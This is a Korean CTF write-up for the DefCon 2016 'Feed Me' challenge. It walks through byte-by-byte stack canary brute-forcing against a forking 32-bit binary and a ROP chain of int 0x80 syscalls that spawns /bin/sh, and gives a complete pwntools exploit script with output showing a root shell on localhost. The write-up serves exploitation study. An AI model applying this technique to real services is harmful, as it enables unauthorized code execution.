본문 바로가기

CTF_Write_UP

[DefCon 2016] Feed Me

시작

안녕하세요 :D

이 시간에 롸업을 쓰네요… 당직 근무자는 밤새 공부할 수 있어요 ㅎㅎㅎ.. 짜피 낼 비번이니깐!!

JLPT 단어 열심히 외우다가 카나리를 한 번쯤은 깨봐야 하지 않을까?? 란 맘에 급하게 문제들을 뒤져봤더니

데프콘 문제 Feed Me가 똭!!! 있더라구요

2시간 가량의 삽질 끝에 쉘을 땄습니다ㅎㅎㅎ 빨리 롸업쓰고 자야겠어요

시작합니다!!

Write UP

root@goorm:/workspace/LCH_Server/posting/feedme# file ./feedme
./feedme: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

32비트 바이너리입니다. 정적 컴파일이 눈에 띄네요.

근데 이게.. gdb로 디버깅이 힘들게 해놨더라구요ㅠㅠㅠ

구글링 해서 IDA 헥스레이만 살짝 봤습니다.

| BUF (32 bytes) | canary (4 bytes) | dummy (8 bytes) | SFP (4 bytes) | RET

구조입니다.

FEED ME! 출력 후, 첫 번째 문자를 아스키 값으로 바꾼 숫자 만큼의 길이를 받아요.

root@goorm:/workspace/LCH_Server/posting/feedme# ./feedme
FEED ME!
!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ATE 41414141414141414141414141414141...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!

이렇게 말이죠.

!의 아스키 값이 33 이므로 A를 33개만큼 받는 거에요. 그런데..

*** stack smashing detected ***: ./feedme terminated

canary가 버퍼 오버플로우가 발생했다고 매섭게 소리칩니다. 이게 말로만 듣던 까나리인가 봅니다..

보통 카나리를 우회하는 방법은 1 byte 브루트 포싱, printf 같은 출력 함수를 이용한 카나리 leak이 있는데

여기선 브루트 포싱으로 해결했습니다.

payload = ""
canary = ""

for i in range(0, 4) :
        for j in range(0, 256) :
                payload = "A" * 32 + canary + chr(j)
                p.send(chr(len(payload)) + payload)
                YUM = p.recvuntil("ME!\n")
                if "YUM" in YUM :
                        print "Found!!" + chr(j)
                        canary += chr(j)
                        break

log.info("Canary = " + canary.encode("hex"))

1 byte씩 대입해가며 찾아가는 방식인데 YUM! 문자열이 나왔다면 카나리가 변조되지 않았다는 뜻이기 때문에 0x00 ~ 0xFF를 4번 돌리면 구할 수 있겠네요.

IDA를 보시면 알겠지만 fork()의 호출이 있기 때문에 부모 프로세스의 카나리가 정해지면 자식도 동일한 값을 가져요.

때문에 위와 같은 공격이 성립합니다!!

카나리가 성공적으로 우회되었으니 ROP 체인만 만들어주면 끝나겠네요.

내부에 read나 write같은 함수가 없기 때문에 eax 레지스터와 int 0x80 명령을 통해 syscall 하도록 하겠습니다.

1. read의 syscall number인 3을 eax에 넣어주고 pop edx; pop ecx; pop ebx; ret 가젯을 통해 /bin/sh를 저장

2. execve의 syscall number인 11을 eax에 넣어주고 /bin/sh 실행

간단하네요. 코드는 다음과 같습니다.

from pwn import *

#context.log_level = "debug"

p = remote("127.0.0.1", 2585)
e = ELF("./feedme")

pppr = 0x806f370
pop_eax = 0x80bb496
int80 = 0x806fa20

p.recvuntil("ME!\n")

payload = ""
canary = ""

for i in range(0, 4) :
        for j in range(0, 256) :
                payload = "A" * 32 + canary + chr(j)
                p.send(chr(len(payload)) + payload)
                YUM = p.recvuntil("ME!\n")
                if "YUM" in YUM :
                        print "Found!!" + chr(j)
                        canary += chr(j)
                        break

log.info("Canary = " + canary.encode("hex"))

pay = ""

pay += "A" * 32
pay += canary
pay += "B" * 12

pay += p32(pop_eax)
pay += p32(3)
pay += p32(pppr)
pay += p32(len("/bin/sh\x00"))
pay += p32(e.bss())
pay += p32(0)
pay += p32(int80)

pay += p32(pop_eax)
pay += p32(11)
pay += p32(pppr)
pay += p32(0)
pay += p32(0)
pay += p32(e.bss())
pay += p32(int80)

p.send(chr(len(pay)) + pay)

p.send("/bin/sh\x00")

p.interactive()

localhost에 2585번 포트를 nc로 열어놓고 익스를 때렸습니다. 실제 환경같아서 재밌네요ㅎㅎ

아 볼 때 마다 느끼는데 하이라이팅 참 이쁘게 입혀지는 것 같습니다.. 이쁜게 최고입니다.

root@goorm:/workspace/LCH_Server/posting/feedme# ./exploit.py
[+] Opening connection to 127.0.0.1 on port 2585: Done
[*] '/workspace/LCH_Server/posting/feedme/feedme'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Found!!\x00
Found!!\x9c
Found!!�
Found!!\xb1
[*] Canary = 009cdbb1
[*] Switching to interactive mode
ATE 41414141414141414141414141414141...
$ whoami
root

Exploit!!

마무리

4시가 넘었네요.. 내일 일어날 수 있을지 의문입니다 ㅋㅋㅋㅋㅋ

드디어 카나리 처음으로 풀었습니다..ㅠㅠㅠㅠㅠㅠ 이젠 진짜 ROP는 두렵지 않아!!!

감사합니다 :D

'CTF_Write_UP' 카테고리의 다른 글

[Redpwn CTF 2019] Stop, ROP, n', Roll  (0) 2019.08.20
[DefCon 2014] baby's first heap  (0) 2019.08.07
[Pico CTF 2013] ROP3  (0) 2019.06.12
[HSCTF 2019] Write up  (0) 2019.06.08
[2017 CSAW CTF] pilot  (0) 2019.05.30